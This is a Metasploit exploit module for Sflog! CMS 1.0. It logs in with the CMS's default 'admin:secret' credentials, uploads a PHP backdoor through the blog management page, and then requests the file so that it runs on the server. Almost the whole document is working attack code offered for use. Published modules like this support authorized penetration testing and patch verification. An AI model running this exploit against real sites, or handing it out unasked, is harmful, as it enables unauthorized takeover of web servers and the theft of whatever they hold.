Sflog! CMS 1.0 Arbitrary File Upload Vulnerability

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Sflog! CMS 1.0 Arbitrary File Upload Vulnerability",
      'Description'    => %q{
        This module exploits multiple design flaws in Sflog 1.0.  By default, the CMS has
        a default admin credential of "admin:secret", which can be abused to access
        administrative features such as blogs management.  Through the management
        interface, we can upload a backdoor that's accessible by any remote user, and then
        gain arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'dun',    # Discovery, PoC
          'sinn3r'  # Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '83767'],
          ['EDB', '19626']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'Platform'       => %w{ linux php },
      'Targets'        =>
        [
        [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
        [ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-07-06',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/sflog/']),
        OptString.new('USERNAME',  [true, 'The username to login with', 'admin']),
        OptString.new('PASSWORD',  [true, 'The password to login with', 'secret'])
      ])
  end


  def check
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1,1] != '/'
    base = File.dirname("#{uri}.")

    res = send_request_raw({'uri'=>"#{base}/index.php"})

    if not res
      return Exploit::CheckCode::Unknown
    elsif res and res.body =~ /\<input type\=\"hidden\" name\=\"sitesearch\" value\=\"www\.thebonnotgang\.com\/sflog/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  #
  # login unfortunately is needed, because we need to make sure blogID is set, and the upload
  # script (uploadContent.inc.php) doesn't actually do that, even though we can access it
  # directly.
  #
  def do_login(base)
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => "#{base}/admin/login.php",
      'vars_post' => {
        'userID'   => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    })

    if res and res.get_cookies.include?('PHPSESSID') and res.body !~ /\<i\>Access denied\!\<\/i\>/
      return res.get_cookies
    else
      return ''
    end
  end


  #
  # Upload our payload, and then execute it.
  #
  def upload_exec(cookie, base, php_fname, p)
    data = Rex::MIME::Message.new
    data.add_part('download', nil, nil, "form-data; name=\"blogID\"")
    data.add_part('7', nil, nil, "form-data; name=\"contentType\"")
    data.add_part('3000', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")
    data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"")

    post_data = data.to_s

    print_status("Uploading payload (#{p.length.to_s} bytes)...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => "#{base}/admin/manage.php",
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => post_data,
      'cookie' => cookie,
      'headers' => {
        'Referer' => "http://#{rhost}#{base}/admin/manage.php",
        'Origin'  => "http://#{rhost}"
      }
    })

    if not res
      print_error("No response from host")
      return
    end

    target_path = "#{base}/blogs/download/uploads/#{php_fname}"
    print_status("Requesting '#{target_path}'...")
    res = send_request_raw({'uri'=>target_path})
    if res and res.code == 404
      print_error("Upload unsuccessful: #{res.code.to_s}")
      return
    end

    handler
  end


  def exploit
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1,1] != '/'
    base = File.dirname("#{uri}.")

    print_status("Attempt to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
    cookie = do_login(base)

    if cookie.empty?
      print_error("Unable to login")
      return
    end

    php_fname =  "#{Rex::Text.rand_text_alpha(5)}.php"

    p = get_write_exec_payload(:unlink_self=>true)
    upload_exec(cookie, base, php_fname, p)
  end
end